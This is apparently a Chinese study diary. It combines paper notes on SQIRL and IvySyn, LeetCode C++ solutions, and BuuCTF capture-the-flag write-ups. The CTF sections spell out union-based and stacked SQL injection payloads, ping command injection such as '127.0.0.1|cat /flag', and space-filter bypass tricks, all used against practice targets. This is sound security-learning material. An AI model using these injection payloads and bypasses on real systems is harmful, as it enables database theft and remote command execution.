
在RL模型中使用FL,有两种形式,一种是横向的,即客户端与不同的环境交互;另一种是纵向的,也就是客户端与同一环境的多个实例交互,纵向RL通常被称为在RL环境中使用“worker”

SQL注入漏洞就是在网络应用程序的客户端注入有效载荷,使服务器上的网络应用程序数据库中执行意外的SQL查询。

SQL注入有效载荷的示例如下表所示

A:SQLi有效载荷(粉红色标出),转义其SQL上下文,导致数据库暂停1秒

B-D:SQL查询,显示用户输入可能出现的13个语义不同的位置

E:当前WordPress中危险的参数化查询模式示例

image

查找SQLi漏洞的主要步骤

1、识别可能易受SQLi攻击的输入位置,这些位置包括URL、输入标记以及与网页相关的动态链接元素

2、一旦找到输入位置,就可以制作有效载荷,有效载荷必须满足4个条件才能触发SQLi

1)生成语法上有效的SQL,以避免执行中的错误

2)逃避预期的SQL上下文

3)绕过应用于负载的任何基于黑名单的过滤

4)改变SQL语句的预期行为

例如(假设没有过滤,标1中红色所示的有效负载会转义为“并执行SLEEP语句”)

SQLi有效载荷的特点:

1、现有有效载荷的稀疏性,针对输入验证和校验,能够绕过这些验证和校验的有效载荷变得越来越复杂

2、现有有效载荷分布不均,导致出现群集,即通过有效载荷的变化产生漏洞

这张图是本文对收集到的1028个独特有效载荷进行PCA降维(通过字节对编码对有效载荷进行标记,使用Doc2Vec提取每个有效载荷的128个特征嵌入,并通过PCA将嵌入从128维减少到3维)

下图就展示了现在有效载荷空间中有效载荷分布不均

image

SQIRL实现

架构

图2:SQIRL体系结构。RL代理(绿色)计算当前有效载荷的突变。N个联合的本地工人(紫色)训练不同的代理为全局代理收集经验。然后,与web应用程序交互的环境元素(蓝色)找到输入位置,在请求中提交有效载荷,并监控数据库是否成功注入。

image

20240215

LeetCode

加一

当对数组 digits 加一时,只需要关注 digits 的末尾出现了多少个 999 即可。可以考虑如下的三种情况:

如果 digits 的末尾没有 999,例如 [1,2,3],那么直接将末尾的数加一,得到 [1,2,4] 并返回;

如果 digits 的末尾有若干个 999,例如 [1,2,3,9,9],那么只需要找出从末尾开始的第一个不为 999 的元素,即 333,将该元素加一,得到 [1,2,4,9,9]。随后将末尾的 999 全部置零,得到 [1,2,4,0,0] 并返回。

如果 digits 的所有元素都是 999,例如 [9,9,9,9,9],那么答案为 [1,0,0,0,0,0]。只需要构造一个长度比 digits 多 111 的新数组,将首元素置为 111,其余元素置为 000 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class Solution {
public:
vector<int> plusOne(vector<int>& digits) {
int n=digits.size();
int i=0;
if(digits[n-1]!=9)
{
digits[n-1]++;
}
else if(digits[n-1]==9)
{
if(n==1)
{
digits[n-1]=0;
digits.insert(digits.begin(), 1);
}
else
{
digits[n-1]=0;
for(i=n-2;i>=0;i--)
{
if(digits[i]==9)
{
digits[i]=0;
}
else
{
digits[i]++;
break;
}
if(i==0)
{
digits.insert(digits.begin(), 1);
}
}
}
}
return digits;
}
};
验证回文串

最简单的方法是对字符串 s 进行一次遍历,并将其中的字母和数字字符进行保留,放在另一个字符串中。这样只需要判断是否是一个普通的回文串即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Solution {
public:
bool isPalindrome(string s) {
int n=s.length();
int i=0,x=1;
char zm[n+1];
for(i=0;i<n;i++)
{
if(('a'<=s[i] && s[i]<='z') || ('A'<=s[i] && s[i]<='Z') || ('0'<=s[i] && s[i]<='9'))
{
zm[x]=tolower(s[i]);
x++;
}
else continue;
}
for(i=1;i<=x/2;i++)
{
if(x==1) return true;
else if(zm[i]!=zm[x-i])
{
return false;
}
}
return true;
}
};
只出现一次的数字

定义数组,数字n出现一次,v[n]加一,最终v[n]为1的话就说明n只出现了一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Solution {
public:
int singleNumber(vector<int>& nums) {
//30000个负数,30000个正数,1个0
int n=nums.size();
int i=0;
vector<int> v(60010,0);
for(i=0;i<n;i++)
{
v[nums[i]+30000]++;
}
for(i=0;i<60010;i++)
{
if(v[i]==1)
{
break;
}
}
i=i-30000;
return i;
}
};

BuuCTF

10、LoveSQL

尝试万能密码

image

有显示

image

尝试联合查询,查到3的时候回显正常

image

爆数据库password=:1' union select 1,2,database()#

image

爆出数据库名为geek

image

爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#

image

爆出表名为geekuser

image

爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

image

爆出表名为l0ve1ysq1

image

爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

image

id,username,password

image

爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

image

查看源代码,得到flag

image

1
flag{7904eee7-45b3-4f8b-8eac-ecab975dac71}

11、Http

查看页面源代码,发现有个Secret.php文件

image

查看该文件,有一个网址

image

提示:It doesn’t come from ‘https://www.Sycsecret.com’,就是说这个页面得来自https://www.Sycsecret.com,添加referer即可

1
Referer头用于告诉web服务器,用户是从哪个页面找过来的

添加Referer:https://www.Sycsecret.com,send,提示Please use “Syclover” browser:请使用“Syclover”浏览器

image

1
User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息

添加User-Agent:Syclover,send,提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!

image

添加X-Forwarded-For:127.0.0.1,send,得到flag

image

1
flag{43a4b431-f334-44b4-bcb3-aadf626871ac}

20240214

LeetCode

两数之和

使用暴力枚举,枚举数组中的每一个数 x,寻找数组中是否存在 target - x。

当我们使用遍历整个数组的方式寻找 target - x 时,需要注意到每一个位于 x 之前的元素都已经和 x 匹配过,因此不需要再进行匹配。而每一个元素不能被使用两次,所以我们只需要在 x 后面的元素中寻找 target - x。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
vector<int> twoSum(vector<int>& nums, int target) {
int i=0,j=0;
vector <int> v;
for(i=0;i<nums.size()-1;i++)
{
for(j=i+1;j<nums.size();j++)
{
if(nums[i]+nums[j]==target)
{
v = {i,j};
}
}
}
return v;
}
};
回文数

思路:

  • 将数字转换为字符串,并检查字符串是否为回文。但是,这需要额外的非常量空间来创建问题描述中所不允许的字符串。

  • 将数字本身反转,然后将反转后的数字与原始数字进行比较,如果它们是相同的,那么这个数字就是回文

我选择用循环,判断对称位的数是否相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class Solution {
public:
bool isPalindrome(int x) {
if(x<0) return false;
else if(x>=0 && x<10) return true;
else{
int i=0;
int n=ws(x);
int sz[n];
int num=x;
for(i=0;i<n;i++)
{
sz[i]=num%10;
num=num/10;
}
for(i=0;i<n/2;i++)
{
if(sz[i]!=sz[n-i-1]) return false;
}
return true;
}
}

int ws(int x)
{
int n=0;
while(x!=0)
{
n++;
x=x/10;
}
return n;
}
};
删除有序数组中的重复项

循环,删除重复项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution {
public:
int removeDuplicates(vector<int>& nums) {
int i=0;
int len=nums.size();
for(i=len-1;i>0;i--)
{
if(nums[i]==nums[i-1])
{
nums.erase(nums.begin()+i);
}
}
return nums.size();
}
};

BuuCTF

5、Exec

Linux ping 命令用于检测主机。执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常

ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上

首先查看此文件的目录:127.0.0.1|ls

点击ping后发现有个index.php文件

image

再查看上级目录:127.0.0.1|ls /

点击ping后可以看到一个flag

image

查看flag:127.0.0.1|cat /flag

得到flag

image

1
flag{4504f6f2-191b-410b-b40d-18b4e403a271}
6、Ping Ping Ping

这一题与上一题Exec类似,首先访问本地地址,发现有显示

image

查看此文件的目录,发现有两个文件

image

查看flag.php文件

image

它说空格被过滤了

命令中空格被过滤的解决方法:

1
2
3
4
5
6
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格)

发现符号又被过滤了,说明{}大括号被过滤了

image

用另一个方法试下index.php文件

image

有一个参数a,变量拼接字符串——将a的值覆盖,然后进行绕过

构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

用变量拼接成flag

image

啥也没有,查看源代码,得到flag

image

1
flag{97aede41-9723-4901-8ac2-b345d66af44b}
7、随便注

image

image

查询3时没有显示,说明有两个字段

爆数据库:1’;show databases;#

image

爆表名:1’; show tables;#

出来了两个表

image

查看words表列名:1’; show columns from words;#

image

查看1919810931114514表列名:0’; show columns from 1919810931114514;#

注意:表名为数字时,要用反引号包起来查询

看到flag,说明表1919810931114514中有flag

image

查看大佬的方法

  • 通过 rename 先把 words 表改名为其他的表名。

  • 把 1919810931114514 表的名字改为 words 。

  • 给新 words 表添加新的列名 id 。

  • 将 flag 改名为 data

    1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

    image

最后输入:1’ or 1=1;#

得到flag

image

1
flag{aa75e48d-8389-408e-9c8c-9d30c81c432b}

8、EasySQL

输入1,有显示

image

爆数据库:1;show databases;#

image

爆表:1;show tables;#

image

爆字段:1;show columns from FLAG;#

显示Nonono

image

查看大佬博客后,构造payload:*,1

参考博客([BUUCTF-SUCTF 2019]EasySQL1__Monica_的博客-CSDN博客

得到flag

image

1
flag{7c0c6069-c1fe-4314-b793-9a214f11fdb3}

IvySyn

IvySyn: Automated Vulnerability Discovery in Deep Learning Frameworks 论文分享

Neophytos Christou, undefined., et al, “IvySyn: Automated Vulnerability Discovery in Deep Learning Frameworks,” in 32nd USENIX Security Symposium (USENIX Security 23), 2023, pp. 2383–2400.

pdf链接:usenix.org/system/files/usenixsecurity23-christou.pdf

IvySyn:自动发现深度学习框架中的漏洞

IvySyn是第一个用于发现深度学习框架中的内存错误漏洞的全自动框架,它会自动合成高级语言(如Python)中的代码片段

背景

人工智能应用越来越广泛,深度学习(DL)一直走在人工智能技术的前沿。深度学习框架通常为模型开发人员提供一套丰富的高级应用程序接口,开发者可以通过这些接口执行特定的DL操作,但是这些操作的重要部分(内核)是用C/C++等内存不安全语言实现的。因此DL框架底层实现存在漏洞,这些漏洞可能导致功能不正确、数值错误、性能下降、内存耗尽和CPU/GPU/TPU锁定,以及致命的的运行时和内存安全错误。

现存的深度学习框架漏洞发现方法局限

过去了方法试图通过直接在高级应用程序接口上使用模糊处理来回答类似问题,但是是半自动或非自动的,需要领域专家注释来指定有效的参数-值组合,或者需要开发人员手动编写辅助代码。

提出问题
  1. 在本地DL内核中,是否有低级应用程序接口的违规输入会引发内存错误?
  2. 是否有任何高级应用程序接口可以将上述违规输入传播到低级内核代码中?

贡献

  1. 利用原生API的静态类型性质,这使本文能够在低级内核代码上执行基于类型感知突变的模糊
  2. 给定低级API的一组违规输入,本文利用从低级到高级API的固有DL框架映射,并合成代码片段,在低级、原生代码上触发内存错误,并将输入传递给高级API
  3. 设计并实现IvySyn,IvySyn框架中实现了本文自下而上的方法,它不需要域专家注释或手动编写的驱动程序代码

相关知识

内核:DL框架的核心功能由原生C/C++代码提供,实现标准操作,如张量操作、数学、讨论和梯度计算、池化和其他DL特定操作。此类操作的实际本机实现称为内核。在C/C++等语言中实现核心操作不仅提供了更好的性能,还允许框架开发人员为不同的硬件设备(例如CPU、GPU和TPU)提供多个优 化版本。内核被建议避免使用(或取决于)共享状态,每个调用都是自包含的,以便易于并行。这是IvySyn构建的一个重要属性,可以无缝添加其内核模糊钩子。

绑定:即使DL框架提供低级内核API,模型开发人员通常通过Python等高级语言执行特定于DL的操作。因此,为了通过开发人员可访问的API公开这些操作的子集,DL框架生成高级绑定。这些绑定将喂给Python API的输入参数转换为相应的C/C++参数,并透明地调用适当的内核,抽象出有关底层外函数接口的实现细节。IvySyn基于DL框架映射(绑定⇄内核)和低级崩溃输入,以无缝合成代码片段,包括各自的高级API。尽管这些绑定不一定打算由de-velopers使用,但它们仍然被公开曝光,并且可以从Python中调用,使攻击者能够直接访问本机内核实现中可利用的漏洞。

高级API和DL模型:高级语言绑定(如上述)由其他特定于语言的高级API(例如,在Python中实现)进一步包装。在调用相应操作之前,后者可能会在原始绑定上添加一些抽象,例如参数的预处理或额外的健全性检查;或者可能只是包装器,向框架模块添加文档和统一导出操作。最终,围绕内核操作绑定的高级API是模型开发人员打算使用的API。我们称这些开发人员可访问和记录的API为高级API。通常,在为各种任务构建DL模型时,会使用多个此类高级API,例如自动驾驶汽车的图像分类[36],恶意软件检测和人脸识别。测试深度学习框架。DL框架在其底层实现中存在错误,经验表明,此类错误可能会导致内存安全错误、致命的运行时错误、不正确或不一致的功能性、数值错误、性能下降、内存消耗和CPU/GPU/TPU锁定。原生、C/C++、DL框架部分(例如内核)中的错误特别令人感兴趣,因为它们可能会导致致命的运行时错误和内存错误,并可能被攻击者滥用。

内存错误

IvySyn旨在发现触发以下内容的崩溃输入:

(a)内存安全错误,如(任意)内存损坏和内存泄露漏洞

(b)致命的运行时错误——(a)和(b)在模糊/运行时期间表现为崩溃(即带有SIGABRT、SIGFPE和SIGSEGV异常的异常进程终止)。

方法概述

目标:发现安全漏洞

IvySyn利用基于突变的模糊测试和类型感知测试,实现发现本地DL内核中可能引发内存错误的违规输入。IvySyn会自动合成适当的代码片段,从高级应用程序接口触发相应的错误。

每一个可以触发内存错误的输入(代码片段)被称为“漏洞证明”(PoV),因为它正面内核代码中存在漏洞,可能导致内存损坏或泄露(违反完整性/保密性),甚至停止整个DL框架的运行(违反可用性)。攻击者可以通过API触发漏洞。

IvySyn框架

框架的设计遵循三个设计原则

  1. 开发人员关于拓展DL框架的指令:便于识别本机API并为其添加适当的模糊钩子
  2. 挂钩没有共享状态的内核,使用开发人员测试来强制执行和模糊它们
  3. 利用高层和底层API之间固有的DL框架来合成PoV

下图是IvySyn的整体架构

image

IvySyn的仪器从各自的DL代码库中提取本机内核实现,以构建和注入模糊包装器。IvySyn的Watchdog调用开发人员测试套件的切入点;一旦ex-ecution的流到达目标内核,IvySyn的仪器将使用类型感知突变引导强制执行的基于突变的模糊会话。IvySyn的合成器使用模糊过程中发现的低级崩溃输入来生成PoV,这反过来又会触发来自公开可用API的低级内存错误。

要测试本机代码,IvySyn首先需要提取与DL框架内核对应的函数,然后在它们周围创建并注入适当的模糊包装器。

Creating and Injecting Wrappers: 给定一组目标ker- nels,IvySyn创建并注入模糊包装器如下:首先,它将原始内核函数重命名,例如func(),改为do_func();然后,它用包装代码替换原始函数的主体,初始化IvySyn模糊会话。

DL框架通常由多层结构组成,不会公开低级API(即内核)供直接使用。 图1的左侧,内核旨在被高级API暗示使用,高级API⇝绑定⇝内核。 因此,在没有适当的调用上下文(即在调用堆栈上活跃的特定功能链和一组正确初始化的全局变量)的情况下,直接模糊内核API将导致不正确的功能。

为了引导强制执行的模糊会话,IvySyn创建了一个看门狗进程,该进程运行开发人员提供的单元测试的入口点(例如,在TensorFlow的情况下,tf-tests/*.py)。 在仪器期间,原始内核函数定义与IvySyn包装代码插入。 因此,一旦开发人员测试的执行到达仪器内核,它将启动一个“强制执行”的模糊会话。 这种方法可以无缝工作,因为强制执行的内核以适当的调用上下文调用,内核通常通过设计避免共享状态。 (与共享状态交互的内核目前被IvySyn忽略) 崩溃报告生成。 每个突变的投入组合都会被分配一个唯一的索引号(UIN)。 IvySyn将与当前突变输入组合对应的UIN记录到日志文件中,该日志文件以模糊的函数命名。 一旦发生崩溃,此日志文件将包含上次尝试输入组合的UIN,这是导致内存错误的UIN。 IvySyn利用这种形成来重新初始化模糊器,获取违规输入,并将崩溃报告拼接在一起,如Listing1所示。

image

总结

本位设计并实现了IvySyn,IvySyn首先识别DL内核代码实现,并添加模糊钩子,以便对类型感知突变执行基于突变的模糊。 接下来,给定一组崩溃的内核,它合成了传播违规输入的高级代码片段,这些代码片段会使本机内核崩溃,认为是高级API。此类代码片段可以作为漏洞的证明,并可以帮助开发人员复制、分析并最终修复各自的错误。